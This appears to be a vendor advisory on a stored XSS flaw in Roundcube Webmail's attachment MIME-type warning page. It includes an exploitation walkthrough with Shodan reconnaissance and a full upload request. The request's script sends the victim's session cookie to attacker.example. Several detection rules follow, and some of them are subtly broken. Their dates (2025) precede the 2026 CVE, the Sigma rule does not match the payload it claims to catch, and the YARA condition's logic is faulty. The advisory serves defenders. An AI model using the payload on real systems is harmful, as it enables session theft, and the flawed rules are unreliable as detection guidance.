CVE-2026-54432

Executive Summary

CVE-2026-54432 is a Stored Cross-Site Scripting (XSS) vulnerability affecting Roundcube Webmail versions prior to 1.6.17 and 1.7.x versions prior to 1.7.2. The flaw resides in the attachment-validation warning page, where the MIME type of uploaded attachments is not properly escaped before rendering, allowing an authenticated attacker to inject persistent JavaScript that executes in the context of other users' sessions. Successful exploitation can lead to session hijacking, email content exfiltration, and arbitrary actions performed on behalf of a victim user within the webmail interface. The vulnerability carries a CVSS score of 4.7 (Medium), with a low EPSS percentile (12.8%), indicating limited observed exploitation activity but a clear, patchable code flaw that enterprise mail infrastructure should prioritize remediating.

Technical Analysis

The vulnerability exists in Roundcube Webmail's attachment handling workflow. When a user uploads an attachment with an unusual or unrecognized MIME type, the application redirects to a "attachment-validation warning" page that displays the offending MIME type to inform the user of potential risks. The flaw is that the MIME type string is rendered into the HTML response without proper output encoding or sanitization.

From a code-level perspective, the vulnerable path follows this logic:

1. A user initiates an upload via the file input on the compose message page.
2. The server inspects the Content-Type header (or $_FILES['attachment']['type'] in PHP) of the incoming multipart POST request.
3. If the MIME type is not in the allowlist of recognized safe types, the server generates a warning page.
4. The MIME type string is echoed directly into the template using a raw print/echo statement (e.g., <?php echo $mimetype; ?>) rather than through a templating engine with automatic escaping enabled.

An attacker crafts a filename with a MIME type payload such as:

filename="nothing"
Content-Type: "><script>alert(document.cookie)</script>

Because the MIME type is not HTML-encoded, the "> breaks out of the HTML attribute context (likely the value attribute of a hidden input or the text node of a warning label), and the <script> tag is interpreted by the victim's browser.

The attack is "stored" in the sense that the crafted message and its metadata can be persisted in the mail server's storage. When a victim opens the message or triggers the attachment-validation flow (e.g., by clicking the warning link or via an automatic preview), the malicious MIME type is rendered, executing the payload. This makes the vulnerability effective for persistent, multi-user compromise within a shared Roundcube deployment.

The attack surface is the webmail interface itself — any user who can log in to Roundcube can craft a malicious message. The attached malicious MIME string does not require a separate exploit; it is delivered directly through normal mail functionality. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting).

Exploitation Scenarios

A concrete attack chain for CVE-2026-54432 proceeds as follows:

Step 1 — Reconnaissance and Target Identification:

• An attacker identifies Roundcube Webmail instances by scanning for http.title:"Roundcube" or http.component:"Roundcube" in public internet scans (Shodan, Censys, FOFA). They focus on versions < 1.6.17 and 1.7.x < 1.7.2, detectable via the login page HTML source or the ?task=logout version string in the footer.

Step 2 — Crafting and Sending the Weaponized Payload:

• The attacker logs into the webmail with a valid account (this can be a low-privilege account, a compromised credential, or a free registration on a publicly hosted instance).
• They compose a new message to a target victim within the same mail domain.
• Using a raw HTTP client (e.g., curl or a custom Python script) or by intercepting and modifying a normal upload with Burp Suite, they send a multipart POST to /?_task=mail&_action=upload with a MIME type field exactly as follows:

POST /?_task=mail&_action=upload HTTP/1.1
Host: mail.victimcorp.com
Cookie: [session_cookie]

------WebKitFormBoundary
Content-Disposition: form-data; name="_uid"
[csrf_token]

------WebKitFormBoundary
Content-Disposition: form-data; name="attachment"; filename="invoice.pdf"
Content-Type: "><script>fetch('https://attacker.example/steal?c='+document.cookie)</script>

[file_bytes]
------WebKitFormBoundary--

Step 3 — Delivery and Execution:

• The message is stored on the IMAP server. When the victim opens the message in Roundcube, the client-side attachment validation logic triggers a server-side request to render the validation warning page, pulling the stored MIME type.
• The victim's browser parses the unescaped MIME type string. The "> closes the enclosing HTML element/attribute, and the <script> executes. The injected script (e.g., fetch('https://attacker.example/steal?c='+document.cookie)) exfiltrates the victim's Roundcube session cookie to an attacker-controlled server.

Step 4 — Post-Exploitation:

• With the stolen session cookie, the attacker replays it to impersonate the victim inside Roundcube. They can read the victim's full mailbox, send emails as the victim (leveraged for spear-phishing or malware distribution), modify mailbox rules to forward future emails, or reset the victim's password via the admin panel if the instance uses a shared identity store.
• In environments where Roundcube is integrated with single sign-on (e.g., LDAP/OAuth), a stolen session might grant broader access to other internal web applications sharing the same auth context.

The stored nature of the payload means the attack does not require social engineering beyond the victim opening the email — a very common action. The attack is fully remote, requires authentication, and has a low skill barrier for an individual with basic HTTP request crafting knowledge.

Impact Assessment

CVSS Subscore Analysis: The base score of 4.7 reflects a Medium severity. While the scope is changed (the injected script executes in a victim's browser context, not the attacker's), the attack requires valid credentials (low complexity, low privileges). The confidentiality impact is partially compromised (session cookies and mailbox contents), with no direct integrity or availability impact — though those become achievable once a session is hijacked.

Business Impact:

• Data Breach Risk: Exfiltration of sensitive email content containing credentials, financial data, personal information, or business secrets.
• Account Takeover: Session hijacking leads to full email account compromise, enabling further phishing campaigns within the organization (credential theft becomes more effective because emails come from a trusted internal address).
• Compliance Violations: For organizations in regulated sectors (GDPR, HIPAA, PCI-DSS), unauthorized email disclosure constitutes a reportable breach.
• Trust Erosion: Public disclosure of a compromise damages customer and partner confidence.

Affected Systems: All deployments of Roundcube Webmail before 1.6.17 and all 1.7.x versions before 1.7.2. This includes self-hosted installations and distributions where Roundcube is bundled (e.g., certain Linux mail server packages like Kolab, or shared hosting cPanel with Roundcube as the default webmail client).

Blast Radius: Any authenticated user can be a source of the attack, and any user who opens (or previews) a crafted message is a target. In multi-tenant deployments, one malicious tenant can target all other tenants. The stored nature amplifies persistence — a single planted payload remains dangerous until purged from the mail store. Given Roundcube's prevalence (it powers webmail for hundreds of thousands of domains), the global exposure is significant, though the low EPSS (0.00221) suggests limited active exploitation so far.

Detection Guidance

Sigma Rule

title: Roundcube Webmail Attachment MIME Type XSS Attempt
id: 3b7160cc-2844-4b41-a7b7-821d0ccd2934
status: experimental
description: Detects HTTP requests to Roundcube upload endpoints containing script tags or HTML-breaking characters in the Content-Type header or multipart form-data.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-54432
author: valtersit.com Threat Intel
date: 2025/01/10
logsource:
    category: webserver
    product: apache
    definition: 'Web server access logs for Roundcube webmail instances.'
detection:
    selection_upload:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '_task=mail'
            - '_action=upload'
            - '_action=upload-preview'
    selection_payload:
        cs-referer|contains: 'roundcube'
        # In web server access logs, the Content-Type is not always present.
        # This rule targets the response status and path; for full body inspection,
        # use the Suricata rule or WAF logs.
        sc-status: 200
    condition: selection_upload and selection_payload
fields:
    - c-ip
    - cs-username
    - cs-uri-query
falsepositives:
    - Legitimate uploads with uncommon MIME types (rare; most handled via client-side validation).
level: high

YARA Rule

rule CVE_2026_54432_Roundcube_Attachment_MIME_XSS {
    meta:
        author = "valtersit.com"
        description = "Detects payload strings typical of CVE-2026-54432 stored XSS via MIME type injection"
        reference = "CVE-2026-54432"
        date = "2025-01-10"
        severity = "medium"
    strings:
        $s1 = "Content-Type: \"\><script>" ascii wide
        $s2 = "Content-Type: \"></script>" ascii wide
        $s3 = "attachment-validation" ascii wide
        $s4 = "<script>fetch(" ascii wide
        $s5 = "document.cookie" ascii wide
    condition:
        uint16(0) == 0x4D5A or filesize < 10MB
        and (
            ($s1 and $s3) or
            ($s2 and $s3) or
            ($s4 and $s5 and $s3)
        )
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"ET EXPLOIT Roundcube Webmail CVE-2026-54432 Stored XSS - MIME Type Injection"; flow:established,to_server; http.request_line; content:"_task=mail"; content:"_action=upload"; within:100; http.request_body; pcre:"/Content-Type:\s*[\"'][^\"']*<script/i"; sid:202654432; rev:1; reference:cve,CVE-2026-54432; classtype:web-application-attack; priority:1;)

Elastic Detection

sequence by source.ip
  [ network where event.type == "start" and destination.port == 443 ]
  [ http where event.type == "request" and
      // Tune to your proxy or web server schema
      http.request.method == "POST" and
      url.path == "/" and
      url.query contains "_task=mail" and
      url.query contains "_action=upload" and
      // Look for suspicious patterns in raw request body
      http.request.body.content contains "<script" and
      http.request.body.content contains "Content-Type" 
  ]

Splunk SPL Query

index=proxy OR index=web 
| search uri_query="*_task=mail*" uri_query="*_action=upload*" 
| where like(form_data, "%Content-Type%<%script%") OR like(form_data, "%Content-Type%\"\>%<script%")
| stats count by src_ip, user, uri, _time
| where count > 1

Wazuh OSSEC Rule

<group name="roundcube,cve-2026-54432,">
  <rule id="120544" level="12">
    <if_sid>31000</if_sid>
    <decoded_as>json</decoded_as>
    <field name="uri">\.*_task=mail</field>
    <field name="uri">\.*_action=upload</field>
    <regex>Content-Type.*&lt;script|Content-Type.*\&quot;.*&lt;script</regex>
    <description>Roundcube CVE-2026-54432: Stored XSS via malicious MIME type in attachment upload</description>
    <group>web_application_attack,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED) — A patched version is claimed to exist per Debian source notifications, but this is not independently confirmed across other distros/vendors. Do not assume all Roundcube deployments are covered by the same patch; validate your specific build.

1) Immediate Mitigations (until patch is confirmed/applied):

• Disable the attachment-validation warning page if feasible. If the application allows configuration to skip validation warnings, enable that bypass to eliminate the vulnerable render path. (Verify via Roundcube's config.inc.php settings such as $config['upload_progress'] or validation-related options.)
• Restrict access to the /?_task=mail&_action=upload endpoint via web server ACLs or WAF rules, allowing only authenticated sessions with valid CSRF tokens.
• Deploy a Web Application Firewall (WAF) rule to block upload POST requests where the Content-Type header contains <, >, ", or script characters.
• Monitor logs for anomalous multipart POSTs to upload endpoints with suspicious MIME type strings.

2) Patch/Upgrade Steps:

• Upgrade Roundcube Webmail to 1.6.17 or 1.7.2 (or later) as soon as the update is available from your distribution channel.
• For Debian/Ubuntu systems: sudo apt update && sudo apt upgrade roundcube
• For manual installations: apply the upstream patch. Download the updated package from https://roundcube.net/download/ and replace the existing source (/usr/share/roundcube or var/www/roundcube). Ensure composer install or dependency refresh is run if required.
• After the upgrade, verify the fix by attempting to upload a file with a MIME type string containing "><script>alert(1)</script> and confirming the string is HTML-encoded in the response.

3) Long-Term Hardening:

• Subscribe to the Roundcube security announcements list to receive timely patch notifications.
• Implement Content Security Policy (CSP) headers with script-src 'self' to mitigate XSS impact even if future similar flaws are introduced.
• Enforce HttpOnly and Secure flags on the Roundcube session cookie to reduce the value of stolen cookies.
• Enable HTTP Strict Transport Security (HSTS).
• Regularly audit mail server logs for unusual upload activity and follow the principle of least privilege for webmail accounts.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-54432 — Official NVD record with severity metrics and description.
2. Roundcube Project: https://roundcube.net/news/ — Official project site; check for version-specific release notes and security advisories.
3. Debian Security Tracker: https://security-tracker.debian.org/tracker/CVE-2026-54432 — Debian patch tracking page; primary source for the patch claim supporting CVE-2026-54432.
4. MITRE CVE List: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54432 — CVE reference entry.
5. CISA KEV: Not applicable — CVE-2026-54432 is not listed in CISA's Known Exploited Vulnerabilities catalog at the time of writing.

Threat Actor Activity: No confirmed in-the-wild exploitation campaigns have been publicly attributed to this CVE. The EPSS score of 0.00221 (12.8th percentile) indicates very low observed exploitation activity as of the last scoring update. However, because Roundcube is a high-value target for mass exploitation (as seen in prior CVE-2023-43770 and CVE-2024-42008 campaigns), vigilance is warranted — attackers often reuse similar webmail flaws post-disclosure once they ratchet up scanning. Monitor your honeypots and web logs for the patterns described in the Detection Guidance section.